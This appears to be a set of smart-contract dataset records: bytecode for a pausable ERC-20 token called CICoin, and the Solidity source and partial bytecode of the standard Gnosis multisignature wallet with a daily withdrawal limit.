0x6080604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610167578063095ea7b3146101f757806318160ddd1461025c57806321e92d491461028757806323b872dd146102ec5780632ff2e9dc14610371578063313ce5671461039c5780633f4ba83a146103cd5780635c975abb146103e4578063661884631461041357806370a08231146104785780638456cb59146104cf5780638da5cb5b146104e657806395d89b411461053d578063a9059cbb146105cd578063d73dd62314610632578063dd62ed3e14610697578063f2fde38b1461070e575b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015610164573d6000803e3d6000fd5b50005b34801561017357600080fd5b5061017c610751565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101bc5780820151818401526020810190506101a1565b50505050905090810190601f1680156101e95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020357600080fd5b50610242600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061078a565b604051808215151515815260200191505060405180910390f35b34801561026857600080fd5b506102716107ba565b6040518082815260200191505060405180910390f35b34801561029357600080fd5b506102d2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107c4565b604051808215151515815260200191505060405180910390f35b3480156102f857600080fd5b50610357600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a40565b604051808215151515815260200191505060405180910390f35b34801561037d57600080fd5b50610386610a72565b6040518082815260200191505060405180910390f35b3480156103a857600080fd5b506103b1610a82565b604051808260ff1660ff16815260200191505060405180910390f35b3480156103d957600080fd5b506103e2610a87565b005b3480156103f057600080fd5b506103f9610b47565b604051808215151515815260200191505060405180910390f35b34801561041f57600080fd5b5061045e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b5a565b604051808215151515815260200191505060405180910390f35b34801561048457600080fd5b506104b9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b8a565b6040518082815260200191505060405180910390f35b3480156104db57600080fd5b506104e4610bd2565b005b3480156104f257600080fd5b506104fb610c93565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561054957600080fd5b50610552610cb9565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610592578082015181840152602081019050610577565b50505050905090810190601f1680156105bf5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156105d957600080fd5b50610618600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cf2565b604051808215151515815260200191505060405180910390f35b34801561063e57600080fd5b5061067d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d22565b604051808215151515815260200191505060405180910390f35b3480156106a357600080fd5b506106f8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d52565b6040518082815260200191505060405180910390f35b34801561071a57600080fd5b5061074f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dd9565b005b6040805190810160405280600681526020017f4349436f696e000000000000000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff161515156107a857600080fd5b6107b28383610f31565b905092915050565b6000600154905090565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561082257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561085e57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156108ab57600080fd5b6108fc826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461102390919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061098f826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461103c90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600360149054906101000a900460ff16151515610a5e57600080fd5b610a6984848461105a565b90509392505050565b600860ff16600a0a62b71b000281565b600881565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ae357600080fd5b600360149054906101000a900460ff161515610afe57600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600360149054906101000a900460ff1681565b6000600360149054906101000a900460ff16151515610b7857600080fd5b610b828383611414565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c2e57600080fd5b600360149054906101000a900460ff16151515610c4a57600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f434943000000000000000000000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff16151515610d1057600080fd5b610d1a83836116a5565b905092915050565b6000600360149054906101000a900460ff16151515610d4057600080fd5b610d4a83836118c4565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e3557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610e7157600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600082821115151561103157fe5b818303905092915050565b600080828401905083811015151561105057fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561109757600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156110e457600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561116f57600080fd5b6111c0826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461102390919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611253826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461103c90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061132482600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461102390919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611525576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115b9565b611538838261102390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156116e257600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561172f57600080fd5b611780826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461102390919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611813826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461103c90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061195582600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461103c90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a360019050929150505600a165627a7a72305820d41c9809df7ead9d4c169664e61b926e50074ddf2878209d677db60076c447810029
{"success": true, "error": null, "results": {}}
5,807
0x3256d4531e2ff69c940fd74d46ec0aa25ac4c497
pragma solidity 0.4.24; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="a5d6d1c0c3c4cb8bc2c0cad7c2c0e5c6cacbd6c0cbd6dcd68bcbc0d1">[email&#160;protected]</a>> contract MultiSigWallet { /* * Events */ event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); /* * Constants */ uint constant public MAX_OWNER_COUNT = 50; /* * Storage */ mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } /* * Modifiers */ modifier onlyWallet() { require(msg.sender == address(this)); _; } modifier ownerDoesNotExist(address owner) { require(!isOwner[owner]); _; } modifier ownerExists(address owner) { require(isOwner[owner]); _; } modifier transactionExists(uint transactionId) { require(transactions[transactionId].destination != 0); _; } modifier confirmed(uint transactionId, address owner) { require(confirmations[transactionId][owner]); _; } modifier notConfirmed(uint transactionId, address owner) { require(!confirmations[transactionId][owner]); _; } modifier notExecuted(uint transactionId) { require(!transactions[transactionId].executed); _; } modifier notNull(address _address) { require(_address != 0); _; } modifier validRequirement(uint ownerCount, uint _required) { require(ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0); _; } /// @dev Fallback function allows to deposit ether. function() public payable { if (msg.value > 0) emit Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. constructor(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { require(!isOwner[_owners[i]] && _owners[i] != 0); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); emit OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); emit OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; emit OwnerRemoval(owner); emit OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; emit RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; emit Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; emit Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; if (external_call(txn.destination, txn.value, txn.data.length, txn.data)) emit Execution(transactionId); else { emit ExecutionFailure(transactionId); txn.executed = false; } } } // call has been separated into its own function in order to take advantage // of the Solidity&#39;s code generator to produce a loop that copies tx.data into memory. function external_call(address destination, uint value, uint dataLength, bytes data) private returns (bool) { bool result; assembly { let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention) let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that result := call( sub(gas, 34710), // 34710 is the value that solidity is currently emitting // It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) + // callNewAccountGas (25000, in case the destination address does not exist and needs creating) destination, value, d, dataLength, // Size of the input (in bytes) - this is what fixes the padding problem x, 0 // Output is ignored, therefore the output size is zero ) } return result; } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i=0; i<owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; emit Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public constant returns (address[]) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i=0; i<count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i=from; i<to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } } /// @title Multisignature wallet with daily limit - Allows an owner to withdraw a daily limit without multisig. /// @author Stefan George - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="5c2f28393a3d32723b39332e3b391c3f33322f39322f252f72323928">[email&#160;protected]</a>> contract MultiSigWalletWithDailyLimit is MultiSigWallet { /* * Events */ event DailyLimitChange(uint dailyLimit); /* * Storage */ uint public dailyLimit; uint public lastDay; uint public spentToday; /* * Public functions */ /// @dev Contract constructor sets initial owners, required number of confirmations and daily withdraw limit. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. /// @param _dailyLimit Amount in wei, which can be withdrawn without confirmations on a daily basis. constructor(address[] _owners, uint _required, uint _dailyLimit) public MultiSigWallet(_owners, _required) { dailyLimit = _dailyLimit; } /// @dev Allows to change the daily limit. Transaction has to be sent by wallet. /// @param _dailyLimit Amount in wei. function changeDailyLimit(uint _dailyLimit) public onlyWallet { dailyLimit = _dailyLimit; emit DailyLimitChange(_dailyLimit); } /// @dev Allows anyone to execute a confirmed transaction or ether withdraws until daily limit is reached. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { Transaction storage txn = transactions[transactionId]; bool _confirmed = isConfirmed(transactionId); if (_confirmed || txn.data.length == 0 && isUnderLimit(txn.value)) { txn.executed = true; if (!_confirmed) spentToday += txn.value; if (txn.destination.call.value(txn.value)(txn.data)) emit Execution(transactionId); else { emit ExecutionFailure(transactionId); txn.executed = false; if (!_confirmed) spentToday -= txn.value; } } } /* * Internal functions */ /// @dev Returns if amount is within daily limit and resets spentToday after one day. /// @param amount Amount to withdraw. /// @return Returns if amount is under daily limit. function isUnderLimit(uint amount) internal returns (bool) { if (now > lastDay + 24 hours) { lastDay = now; spentToday = 0; } if (spentToday + amount > dailyLimit || spentToday + amount < spentToday) return false; return true; } /* * Web3 call functions */ /// @dev Returns maximum withdraw amount. /// @return Returns amount. function calcMaxWithdraw() public constant returns (uint) { if (now > lastDay + 24 hours) return dailyLimit; if (dailyLimit < spentToday) return 0; return dailyLimit - spentToday; } }
0x608060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c27146101ae578063173825d91461021b57806320ea8d861461025e5780632f54bf6e1461028b5780633411c81c146102e65780634bc9fdc21461034b578063547415251461037657806367eeba0c146103c55780636b0c932d146103f05780637065cb481461041b578063784547a71461045e5780638b51d13f146104a35780639ace38c2146104e4578063a0e67e2b146105cf578063a8abe69a1461063b578063b5dc40c3146106df578063b77bf60014610761578063ba51a6df1461078c578063c01a8c84146107b9578063c6427474146107e6578063cea086211461088d578063d74f8edd146108ba578063dc8452cd146108e5578063e20056e614610910578063ee22610b14610973578063f059cf2b146109a0575b60003411156101ac573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b3480156101ba57600080fd5b506101d9600480360381019080803590602001909291905050506109cb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561022757600080fd5b5061025c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a09565b005b34801561026a57600080fd5b5061028960048036038101908080359060200190929190505050610ca2565b005b34801561029757600080fd5b506102cc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e4a565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b5061033160048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e6a565b604051808215151515815260200191505060405180910390f35b34801561035757600080fd5b50610360610e99565b6040518082815260200191505060405180910390f35b34801561038257600080fd5b506103af600480360381019080803515159060200190929190803515159060200190929190505050610ed6565b6040518082815260200191505060405180910390f35b3480156103d157600080fd5b506103da610f68565b6040518082815260200191505060405180910390f35b3480156103fc57600080fd5b50610405610f6e565b6040518082815260200191505060405180910390f35b34801561042757600080fd5b5061045c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f74565b005b34801561046a57600080fd5b5061048960048036038101908080359060200190929190505050611179565b604051808215151515815260200191505060405180910390f35b3480156104af57600080fd5b506104ce6004803603810190808035906020019092919050505061125e565b6040518082815260200191505060405180910390f35b3480156104f057600080fd5b5061050f60048036038101908080359060200190929190505050611329565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b83811015610591578082015181840152602081019050610576565b50505050905090810190601f1680156105be5780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b3480156105db57600080fd5b506105e461141e565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561062757808201518184015260208101905061060c565b505050509050019250505060405180910390f35b34801561064757600080fd5b5061068860048036038101908080359060200190929190803590602001909291908035151590602001909291908035151590602001909291905050506114ac565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106cb5780820151818401526020810190506106b0565b505050509050019250505060405180910390f35b3480156106eb57600080fd5b5061070a6004803603810190808035906020019092919050505061161d565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561074d578082015181840152602081019050610732565b505050509050019250505060405180910390f35b34801561076d57600080fd5b5061077661185a565b6040518082815260200191505060405180910390f35b34801561079857600080fd5b506107b760048036038101908080359060200190929190505050611860565b005b3480156107c557600080fd5b506107e46004803603810190808035906020019092919050505061191a565b005b3480156107f257600080fd5b50610877600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611af7565b6040518082815260200191505060405180910390f35b34801561089957600080fd5b506108b860048036038101908080359060200190929190505050611b16565b005b3480156108c657600080fd5b506108cf611b91565b6040518082815260200191505060405180910390f35b3480156108f157600080fd5b506108fa611b96565b6040518082815260200191505060405180910390f35b34801561091c57600080fd5b50610971600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b9c565b005b34801561097f57600080fd5b5061099e60048036038101908080359060200190929190505050611eb1565b005b3480156109ac57600080fd5b506109b56121a5565b6040518082815260200191505060405180910390f35b6003818154811015156109da57fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a4557600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610a9e57600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610c23578273ffffffffffffffffffffffffffffffffffffffff16600383815481101515610b3157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610c16576003600160038054905003815481101515610b8f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610bc957fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c23565b8180600101925050610afb565b6001600381818054905003915081610c3b919061234f565b506003805490506004541115610c5a57610c59600380549050611860565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610cfb57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610d6657600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff16151515610d9657600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b60006201518060075401421115610eb4576006549050610ed3565b6008546006541015610ec95760009050610ed3565b6008546006540390505b90565b600080600090505b600554811015610f6157838015610f15575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610f485750828015610f47575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610f54576001820191505b8080600101915050610ede565b5092915050565b60065481565b60075481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fae57600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561100857600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff161415151561102f57600080fd5b6001600380549050016004546032821115801561104c5750818111155b8015611059575060008114155b8015611066575060008214155b151561107157600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffff